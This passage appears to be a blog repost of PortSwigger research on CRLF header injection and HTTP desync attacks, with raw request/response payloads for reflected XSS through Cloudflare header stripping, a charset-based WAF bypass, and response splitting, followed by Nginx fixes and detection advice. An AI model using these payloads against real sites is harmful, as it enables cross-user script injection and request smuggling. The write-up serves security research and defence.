Searching for origin response headers that instruct the edge node, and on a suggestion from Johan Carlsson (@joaxcar), the authors tried CDN-Cache-Control. The header tells Cloudflare to strip a named response header — and to their surprise it worked on Location, removing the redirect and letting the injected payload execute.

Request

GET /abc<@urlencode_all>
CDN-Cache-Control: private="Location"

<script>alert(1)</script>
</@urlencode_all> HTTP/1.1

Response

HTTP/1.1 301 Moved Permanently
Content-Length: 25
Server: nginx
Location: https://example.com/abc 
CDN-Cache-Control: private="Location"

<script>alert(1)</script>

One obstacle remained: an XSS payload sitting in the request URL will trip a WAF almost every time. Tobia sidestepped it by injecting a specific charset into the Content-Type header, bypassing the WAF outright and landing reflected XSS via response header injection.

Request

GET /abc<@urlencode_all>
CDN-Cache-Control: private="Location"
Content-Type:text/html;charset=ISO-2022-JP

<scr(Bipt>alert(B(1(B)</scr(Bipt>
</@urlencode_all> HTTP/1.1

Response

HTTP/1.1 301 Moved Permanently
Content-Length: 33
Server: cloudflare
CDN-Cache-Control: private="Location"
Content-Type: charset=ISO-2022-JP

<scr(Bipt>alert(B(1(B)</scr(Bipt>

Reverse Desync Attacks

Follow response splitting back to its origin and you arrive at Amit Klein’s 2004 paper Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics, which introduced the idea that injected CRLF sequences can split one response into two.

In theory, injecting a short Content-Length header and then completing a second response should trigger a desync. In modern terminology that is a reverse client-side desync where no front-end is present, or simply a reverse desync.

Request

GET /%0d%0aContent-Length:%200%0d%0a%0d%0a HTTP/1.1
Host: www.reverse.com

Response

HTTP/1.1 302
Server: nginx
Location: /index.html
Content-Length: 0

Connection: keep-alive

Redirected to /index.html

The attempted exploitation looks like this:

Request

GET /<@urlencode_all>
Content-Length: 0

HTTP/1.1 200 OK
Server: attacker
</@urlencode_all> HTTP/1.1
Host: www.reverse.com

Response

HTTP/1.1 302 Moved Temporarily
Location: /home/index.html
Content-Length: 0

HTTP/1.1 200 OK
Server: attacker

Moved Temporarily to /index.html

In practice the technique is blocked by the stacked-response problem that plagues desync exploitation generally. Browsers and most front-ends over-read responses slightly, and on finding more data than Content-Length promised, they discard the surplus and close the connection. That behaviour killed the original response splitting exploit, and the authors have not found a way around it — though they note there are blog posts hinting at a solution.

Defence

Defending against HTTP header injection in Nginx is, in most cases, genuinely simple: avoid the $uri and $document_uri variables entirely inside proxy_pass and return directives — $request_uri is the safe alternative because it is not normalised. Equally important, never build a variable from a regex match that fails to exclude whitespace: a capture group like ([^/]*) happily matches newlines, whereas ([^/\s]*) does not.

Defence: safe and unsafe Nginx configuration patterns
Safe versus unsafe Nginx variables and regex patterns. Source: original article.

A detail worth internalising: many of the affected servers were not running Nginx as such, but something built on top of it. If you run OpenResty or Tengine, the same configuration review applies to you.

The permanent and reliable fix is the one from HTTP/1.1 Must Die — enable HTTP/2 upstream. Header injection loses its power when the upstream protocol is not newline-delimited in the first place.

Tooling

Both halves of the tooling are open source: the Burp Suite extension used throughout the research, and a set of nuclei templates written by Tobia, along with labs to practise on before going hunting in the wild. Pull requests are welcome.

Further Research

The authors flag four leads that came out of the work and still look productive:

  1. Request header injection via non-path insertion points. Demonstrated in the paper but under-explored overall, and described as the best bet for an easy bounty.
  2. Reverse desync via response header injection. Unsolved because of the stacked-response problem — but “HTTP Response Splitting Reborn” has a nice ring to it.
  3. More methods of injecting headers rather than mutating them. Parser discrepancies are best left to the HTTP Terminator; known or underappreciated ways of getting a header injected upstream carry serious desync potential.
  4. Mutated alternatives to CRLF sequences. Many WAFs mitigate these techniques by checking for %0d%0a in insertion points. For hints on defeating that, see Lost in Translation: exploiting Unicode Normalization by Ryan and Isabella Barnett from BlackHat USA 2025.

Key Takeaways

  • Header injection is not a low-impact bug class. A single injected CRLF is frequently the entry point to full request smuggling, and at the top end to a self-replicating desync worm.
  • The root cause is a widespread configuration pattern, not an exotic parser bug: $uri inside proxy_pass or return gets normalised and URL-decoded before use.
  • Detection is cheap and unambiguous — invalid protocol versions, unsupported Transfer-Encoding values, and the Expect header’s 417 all produce status codes nothing else returns by accident.
  • CRLF-powered desyncs reach impact where other desync classes stall, because a single injected header is enough — no double CRLF and no mutated header required.
  • Connection-locked and IP-locked desyncs are not dead ends. Relocating the attack into the victim’s browser converts both into cross-user attacks, and can manufacture XSS on domains that have no XSS at all.
  • The HEAD technique combined with the Range header removes the response-length constraint that normally makes HEAD gadgets impractical.
  • HTTPOnly is not a boundary against a desync: stacking a second response pushes Set-Cookie into the response body, where injected script reads it as ordinary text.
  • As long as Nginx is deployed at this scale, desyncs originating from header injection are not going anywhere.

Defensive Recommendations

  • Audit every Nginx, OpenResty and Tengine configuration for $uri and $document_uri inside proxy_pass and return. Replace them with $request_uri, which is not normalised.
  • Review regex-derived variables for whitespace handling. A capture such as ([^/]*) matches newlines; use ([^/\s]*) so CRLF cannot survive into an interpolated value.
  • Enable HTTP/2 (or HTTP/3) on the upstream hop between front-end and back-end. This is the durable fix — a binary framing layer removes the newline ambiguity the entire attack class depends on.
  • Add the detection primitives from this research to your own scanning: an impossible HTTP version, an unsupported Transfer-Encoding, and an injected Expect header returning 417.
  • Alert on anomalous status codes at the edge. Sustained 400, 417, 501 and 505 responses against a single path, especially with elevated connection counts, are a strong desync-probing signal.
  • Do not treat header injection reports as informational. Triage them for smuggling potential explicitly, and ask whether the injection point is browser-reachable via fetch or navigation.
  • Strip or normalise CRLF in any value that is concatenated into an upstream request — paths, cookies, custom headers alike. The payment provider case shows the insertion point is often not the path.
  • Verify that sensitive response headers are actually removed at the edge under unusual conditions, including when a 100-continue response arrives unexpectedly.

Conclusion

The through-line of this research is that a bug class the industry has spent twenty years under-rating turns out to be one injected newline away from cross-user compromise. The paper escalates request header injection to its logical maximum — a desync worm — and along the way supplies practical detection and exploitation methods for the desync variants that normally die at triage, including those where connections are never shared between users. The accompanying toolkit is open source, and examples continue to surface in the wild, such as the Discord desync found by @tmctmt.

There is also a quieter lesson underneath the case studies, aimed at anyone considering their own research: the industry has a short memory. This work is largely the product of taking two existing Top 10 Web Hacking Techniques papers, combining them, and pushing the result harder than either had on its own. Recent research can be recombined, mutated and built upon far more productively than it usually is. The only requirement is that you actually test the idea.

Original text: “CRLF-Powered Desync Attacks: Beheading HTTP Streams” by Tom Stacey and Tobia Righi at PortSwigger Research.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion